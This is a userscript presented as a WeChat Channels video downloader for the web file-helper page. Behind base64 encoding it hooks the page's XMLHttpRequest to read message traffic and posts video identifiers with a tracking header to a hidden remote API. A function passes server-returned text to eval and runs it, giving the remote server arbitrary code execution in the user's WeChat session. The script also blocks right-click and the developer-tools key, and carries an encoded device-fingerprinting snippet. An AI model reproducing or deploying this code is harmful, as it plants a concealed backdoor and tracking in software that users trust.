// ==UserScript==
// @name 微信视频号下载——快点工具
// @namespace https://greasyfork.org/zh-CN/users/927947-witchery
// @version 1.0.0
// @description 视频下载工具 包括微信视频号 抖音 小红书 等网页版短视频平台
// @author witcher
// @match *://*filehelper.weixin.qq.com/*
// @match *://*.weixin.qq.com/*
// @grant GM_setValue
// @grant GM_getValue
// @grant GM_addStyle
// @grant GM_setClipboard
// @grant GM_xmlhttpRequest
// @require https://unpkg.com/[email protected]/dist/layui.js
// ==/UserScript==
(function() {
if(location.href.match("weixin.qq.com")){
var ver='1.0.0';
var lj = 'https://unpkg.com/[email protected]/dist/layui.js';
// window.onload = function() {
var sp = '',st = 'script',sy = 'style',tp = 'text/javascript',dv = 'div', u, bid, b = 'dmFyIGJpZDs=';eval(ab(b));var fp ='dmFyIGhzID0naHR0cHM6Ly8nO3ZhciB3bz0nb3BlbmZwY2RuLmlvJzt2YXIgcGg9Jy9maW5nZXJwcmludGpzL3Y0Jzt2YXIgaT1ocyt3bytwaDt2YXIgIGZwID0gaW1wb3J0KGkpLnRoZW4oKGkpID0+IGkubG9hZCgpKTtmcC50aGVuKChpKSA9PiBpLmdldCgpKS50aGVuKChpKSA9PiB7YmlkPSBpLnZpc2l0b3JJZDt9KTs=';
e(b);e(fp);
var s = (i) => {
sp = document.createElement(st);
sp.type = tp;
sp.src = i;
document.head.appendChild(sp);
};
s(lj);
var bbhl = `
<link rel='stylesheet' href='https://unpkg.com/[email protected]/dist/css/layui.css'>
<boby class='boby' id='b' >
<div style="margin-left:2%;margin-top:5%">
<div class="layui-btn-group">
<button id ='c1' class="layui-btn-sm layui-btn " >
<i class="layui-icon layui-icon-play "></i>开始
</button>
<button id ='c2' class="layui-btn-sm layui-btn layui-bg-red">
<i class="layui-icon layui-icon-pause" ></i>停止
</button>
<button id ='fk' class="layui-btn-sm layui-btn ">
反馈问题
</button>
<a href='http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=95abF-QRQAEje-_N_9VHtbVPZT2cGeop&authKey=a3EYN9STHHb3snWHkaZtiah6Yl4Y3jNRE71ObUPIx06T0sr7PTIubnVd%2FXFxA%2BoR&noverify=0&group_code=882899750' target="_blank ">
<button class="layui-btn-sm layui-btn layui-btn-normal ">QQ群交流</button>
</a>
</div>
</div>
<div style="margin-left:5%;margin-top:5%;" >
<div style='height: 200px; overflow: auto;'>
<div style='display: flex;'>
<h5 id='hsj' >暂无视频数据:</h5>
<button id ='qkhsj' class="layui-btn-xs layui-btn layui-btn-primary layui-border-red">
<i class="layui-icon layui-icon-clear" >清空数据</i>
</button>
</div>
<table id='spTable' >
<tbody></tbody>
</table>
</div>
</div>
<hr>
<div style="margin-left:5%;margin-top:3%;" >
<div style='height: 200px; overflow: auto;'>
<div style='display: flex;'>
<h5 id='bdsj' >暂无已处理数据:</h5>
<button id ='qkbd' class="layui-btn-xs layui-btn layui-btn-primary layui-border-red">
<i class="layui-icon layui-icon-clear" >清空数据</i>
</button>
</div>
<table id='spTable2' >
<tbody></tbody>
</table>
</div>
</div>
<div style='text-align:center' ><p >v.${ver}</p><div id='ver' ></div></div>
<div id='diy'> </div>
</boby>
`
//样式
var sc = `
.boby{
background:#ffffff;
width:0px;
height:90%;
position: fixed;
z-index: 100000;
top: 5%;left: 0;
overflow-x: hidden;
transition: 0.5s;
box-shadow:0px 1px 10px rgba(0,0,0,0.3);
bottom:10vh;
}
.text-overflow {
width: 200px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
`
var cs = (i) => {
sy = document.createElement(sy);
sy.textContent = i;
document.head.appendChild(sy);
}
cs(sc)
var boby = () => {
dv = document.createElement(dv);
dv.id = "bd";
dv.innerHTML = bbhl;
document.body.appendChild(dv)
}
boby();
var opbtncs=`
line-height: 5vh;
text-align: center;
height: 6vh;width: 6vh;
font-size: 15px;
color: white;
position: relative;
overflow: hidden;
border:1px solid #1e7db9;
box-shadow: 0 1px 2px #8fcaee inset,0 -1px 0 #497897 inset,0 -2px 3px #8fcaee inset;
background: -webkit-linear-gradient(top,#42a4e0,#2e88c0);
border-radius: 100%;
top:5px;
`
var opbtn = `<button style="${opbtncs}" ><div id="btns">打开</div></button>`;
var opcs=`
position:fixed;
bottom:20vh;
z-index:9999999999;
height:6vh;
width:6vh;
left:1vh;
cursor:pointer;
float:left;
border-radius: 100%;
`;
let op = document.createElement('div');
op.innerHTML = opbtn;
op.id = "op";
document.body.appendChild(op);
op.setAttribute("style", opcs);
op.onclick = function() {
if(location.href.match("filehelper")){
var sidenava = document.getElementById("b").style.width;
var btns = document.getElementById("btns");
if (sidenava == "0px") {
btns.innerHTML= '<div id="btns">关闭</div>'
document.getElementById("b").style.width = "350px";
} else {
btns.innerHTML= '<div id="btns">打开</div>'
document.getElementById("b").style.width = "0px";
}
}else{
window.open('https://filehelper.weixin.qq.com/')
}
}
var okd = localStorage.getItem('okd');
if (okd) {
okd = JSON.parse(okd);
bdsj()
} else {
okd = [];
}
okds(okd)
var originalSend = XMLHttpRequest.prototype.send;
var load;
var spD = localStorage.getItem('spD');
if (spD) {
spD = JSON.parse(spD);
if (spD.length > 0) {
hsj();
};
} else {
spD = [];
}
function hsj() {
document.getElementById("hsj").innerHTML = '<h5 id="hsj"> 获取到的视频:</h5>';
}
function bdsj() {
document.getElementById("bdsj").innerHTML = '<h5 id="bdsj"> 已处理的视频:</h5>';
}
var isPaused = false;
qkhsj.onclick = function() {
localStorage.removeItem('spD');
spD = [];
var table = document.getElementById('spTable');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
layer.msg('已清空');
}
qkbd.onclick = function() {
localStorage.removeItem('okd');
okd = [];
var table = document.getElementById('spTable2');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
layer.msg('已清空')
}
fk.onclick=function(){
layal(ab('aHR0cHM6Ly9zdGF0aWMtbXAtMjkyMTMyMzYtY2VlYS00YWRiLTllZWMtYjFiZTRjNWVjZWZlLm5leHQuYnNwYXBwLmNvbS9pbWcveGN4LmpwZw==')) ;
}
c1.onclick = function() {layer.msg('开始获取中');var util = layui.util;load = layer.load(0, {shade: false });hsj();XMLHttpRequest.prototype.send = function() {var self = this;this.onreadystatechange = function() {if (self.readyState === 4) {if (!self.response) {return false;}var Content = JSON.parse(self.response);if (Content['AddMsgList'].length > 0) {var newData = Content['AddMsgList'];newData.forEach(function(item) {if (!spD.some(function(da) {return da.m == item.MsgId;})) {if (item.Content) {var C = util.unescape(item.Content);C = C.replace(/<br\/>/g, '');var xml = new DOMParser();xml = xml.parseFromString(C, 'text/xml');var d = xml.getElementsByTagName('desc')[1] ? xml
.getElementsByTagName('desc')[1] : xml
.getElementsByTagName('desc')[0];var uu = xml.getElementsByTagName('url')[1];d = d ? d.textContent : '无标题';uu = uu.textContent;uu = uu.replace(/.*:/, "https:");spD.push({d: d,m: item.MsgId,C: C,u: ba(uu)});}}});localStorage.setItem('spD', JSON.stringify(spD));spDs(spD);}}};originalSend.apply(this, arguments);
};
}
var gv = (x, d) => {
return x.getElementsByTagName(d)[0] == null ? x.getElementsByTagName(d)[1] : ''
}
spDs(spD)
var cl='视频可能无法播放';
function spDs(d) {
var table = document.getElementById('spTable');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
if (d.length > 0) {
d.forEach(function(i, ix) {
if (i) {
var row = table.insertRow();
var cell1 = row.insertCell(0);
var u = ab(i.u);
cell1.innerHTML =
`<div class="tooltip text-overflow" >${ix + 1}.<a href="${u}" target="_blank" >${i.d}</a></div>`;
var cell2 = row.insertCell(1);
var btn = document.createElement('button');
btn.type = 'button';
btn.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn.innerHTML = '<i class="layui-icon layui-icon-play"></i>';
btn.addEventListener('click', function() {
stop('正在打开');
layer.confirm(cl, {
btn: ['去处理', '打开看看'] //按钮
}, function() {
posts(i, ix)
}, function() {
opv(u,i.d);
});
});
cell2.appendChild(btn);
var btn2 = document.createElement('button');
btn2.type = 'button';
btn2.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn2.innerHTML = '复制';
btn2.addEventListener('click', function () {
cp(u)
});
cell2.appendChild(btn2);
}
});
}
}
function opv(u,i){
layer.open({
type: 2,
title: i,
area: ['630px', '360px'],
shade: 0.8,
closeBtn: 1,
shadeClose: true,
content: u, // video 地址,
});
}
function cp(u){
GM_setClipboard(u, "text", () => layer.msg('提取成功!!!'));
}
c2.onclick = function() {
stop('已停止获取')
}
function stop(i) {
layer.close(load); //
XMLHttpRequest.prototype.send = originalSend;
layer.msg(i)
}
function okds(d) {
var table = document.getElementById('spTable2');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
if (d.length > 0) {
d.forEach(function(i, ix) {
if (i) {
var row = table.insertRow();
var cell1 = row.insertCell(0);
cell1.innerHTML =
`<div class="tooltip text-overflow" >${ix + 1}.<a href="${i.u}" target="_blank">${i.d}</a></div>`;
var cell2 = row.insertCell(1);
var btn = document.createElement('button');
btn.type = 'button';
btn.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn.innerHTML = '<i class="layui-icon layui-icon-play"></i>';
btn.addEventListener('click', function() {
stop('正在打开');
opv(i.u,i.d);
});
cell2.appendChild(btn);
var btn2 = document.createElement('button');
btn2.type = 'button';
btn2.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn2.innerHTML = '复制';
btn2.addEventListener('click', function () {
cp(i.u)
});
cell2.appendChild(btn2);
}
});
}
}
function confirm(u){
layer.confirm('有新版本是否更新?', {
btn: ['是', '否']
}, function() {
window.open(u, '_blank');
document.getElementById("ver").innerHTML = `<div id="ver" >有版本<a href='${upu}'>点击更新</a></p>`;
}, function() {
document.getElementById("ver").innerHTML = `<div id="ver" >有版本<a href='${upu}'>点击更新</a></p>`;
});
}
var uuv =ab('aHR0cHM6Ly9qeHRjLmluZmluaXR5ZnJlZWFwcC5jb20vP2k9MQ==');
function gvr(u) {
GM_xmlhttpRequest({url: u,onload: obj => {var r = obj.response;var v = r.ver;if (v > ver) {var u = r.u;confirm(u);}},
onerror: err => {gets(uuv).then(r => {var v = r.ver;if (v > ver) {var u = r.u;confirm(u);}}).catch(error => {sx()});
}
});
}
function gvrs(u){
// var v= GM_getValue('ver');
// if(v>ver){var upu= GM_getValue('upu');confirm(u);}else{
gets(u).then(r => {var v =r.ver;GM_setValue('ver',v);if(v>ver){ var u=r.u;confirm(u); GM_setValue('upu',u);GM_setValue('timestamp',Date.now())} });
// }
}
function stime(u){
const storedTimestamp = GM_getValue('timestamp');
const currentTimestamp = Date.now();
const diffHours = (currentTimestamp - storedTimestamp) / 1000 / 60 / 60; // 计算时间差,单位为小时
console.log(diffHours);
if (diffHours >=3) {
GM_setValue('upu',u)
gvr(u)
} else {
var v= GM_getValue('ver');
console.log(v)
if(v>ver){console.log('111');var upu= GM_getValue('upu');confirm(u);}else{console.log('222');gvr(u);}
}
}
var uv=ab('aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29t');
uv =uv+ ab('L3Zlcg==');
function go(d, i) {
layer.close(load);
if (d.code == 200) {
i = spD[i];okd.push({d: i.d,m: i.MsgId,u: d.data.url});localStorage.setItem('okd', JSON.stringify(okd));okds(okd);bdsj();
layer.confirm('处理成功是否查看?', {btn: ['确定', '关闭']}, function() {opv(d.data.url,i.d)}, function() {});
} else if (d.code == 201) {
var img= d.data.xcximg;
layer.alert(d.data.msg, {btn: ['打开', '算了'],btnAlign: 'c',btn1: function(){layal(ab(img))},btn2: function(){},});
} else if (d.code == 202) {tc(d.data.ui, d.data.html);
} else {sly(d.data.msg)}
}
var qr =ab('5omr56CB6I635b6X5qyh5pWw');
function sx(){
alert(ab('6ISa5pys5bey5aSx5pWI6K+35YWz5rOo5YWs5LyX5Y+3'));window.open(ab('aHR0cHM6Ly9zdGF0aWMtbXAtMjkyMTMyMzYtY2VlYS00YWRiLTllZWMtYjFiZTRjNWVjZWZlLm5leHQuYnNwYXBwLmNvbS9pbWcvZ3poLnBuZw=='),'_self');
}
function layal(u) {
layer.photos({
photos: {
"title": qr,
"start": 0,
"data": [
{
"alt": "图片",
"pid": 5,
"src": u,
}
]
},
footer: false
});
}
var dh = 0
function sdown(u) {
load = layer.load(0, {shade: false});
var xhr = new XMLHttpRequest();xhr.open("GET", u, true);xhr.responseType = "blob";xhr.onload = function() {var n='5YWs5LyX5Y+377ya5b+r54K55bel5YW3';if (xhr.status == 200) {var blob = xhr.response;var url = URL.createObjectURL(blob);var a = document.createElement('a');
a.href = url;a.download ="公众号:快点工具.mp4";a.click();URL.revokeObjectURL(url);layer.msg('下载成功');layer.close(load); } else {layer.msg('下载失败');
layer.close(load);}};
xhr.onprogress = function(e) {if (e.lengthComputable) {var num = (e.loaded / e.total) * 100;dh = num.toFixed(2);layer.msg('下载中' + num + '%')
if (dh >= 99) {var dh = 0}}};
xhr.send();
}
function slys(d) {
layer.open({
type: 1,
area: ['420px', '240px'], // 宽高
content: d
});
}
function sly(d) {
layer.open({
type: 1,
content: d
});
}
function gets(u) {
return fetch(u)
.then(response => {
if (!response.ok) {
throw new Error('请求失败');
}
return response.json();
})
.then(data => {
return data;
})
.catch(error => {
throw error;
});
}
document.oncontextmenu = function(event) {if (window.event) {event = window.event;};try {var the = event.srcElement;if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) {return false;};return true;} catch (e) {return false;}
};document.onkeydown = function() {if (window.event && window.event.keyCode == 123) {event.keyCode = 0; event.returnValue = false;
};if (window.event && window.event.keyCode == 13) {window.event.keyCode = 505;};if (window.event && window.event.keyCode == 8) {window.event.returnValue = false;};
}; var Sid = 'U2VjLUNoLUlk';u = 'aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2FwaQ==';function posts(d, i) {layer.close(load);layer.msg('处理中');load = layer.load(0, {shade: false});isPaused = true;if (!d) {layer.msg('视频错误,请重新获取');return false;};var c = d.C;var sid = atob('U2VjLUNoLUlk');var Hr = new Headers();Hr.append('B-Id', bid);var xml = new DOMParser();xml = xml.parseFromString(c, 'text/xml');var od = xml.getElementsByTagName('objectId')[0];var ond = xml.getElementsByTagName('objectNonceId')[0];od = od.textContent;ond = ond.textContent;const data = {od: ba(od),ond: ba(ond)};var zh='网络错误,请关注公众号获取最新工具或查看油猴最新版本';
fetch(bs(u), {method: 'POST',headers: Hr,body: JSON.stringify(data),}).then(response => response.json()).then(d => {go(d, i)}).catch((e) => {var gm_u='https://greasyfork.org/zh-CN/users/927947-witchery';var as ='aHR0cHMlM0EvL3N0YXRpYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2ltZy9nemgucG5n';layer.close(load);sly(`<div style='margin:10px'><h3>${zh}</h3><h3><a href="${gm_u}" style='margin-left:10%' target="_blank">→【点击更新】←</a></h3><br><a href="${decodeURIComponent(ab(as))}" target="_blank"><img width='350px' height='120px' src='${decodeURIComponent(ab(as))}'></a><br></div>`)});
}
function post(method, url, async, headers, data, success, error) {
const xhr = new XMLHttpRequest();
xhr.open(method, url, async);
if (headers) {
for (let header in headers) {
xhr.setRequestHeader(header, headers[header]);
}
}
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status >= 200 && xhr.status < 300) {
if (success) {
success(xhr.responseText);
}
} else {
if (error) {
error(xhr.status, xhr.statusText);
}
}
}
};
xhr.onerror = function() {
if (errorCallback) {
errorCallback(xhr.status, xhr.statusText);
}
};
xhr.send(data);
}
function bs(i) {
return eval('atob(i)')
}
function e(i) {
return atob(i);
}
function ab(i) {
return atob(i);
}
sp.onload = function() {
layer.msg('加载成功')
gvr(uv);
}
function ba(e) {
return btoa(e); // 将代码转换为Base64字符串
}
function tc(i, d) {var o = eval(i); o(d);}
}
// }
})();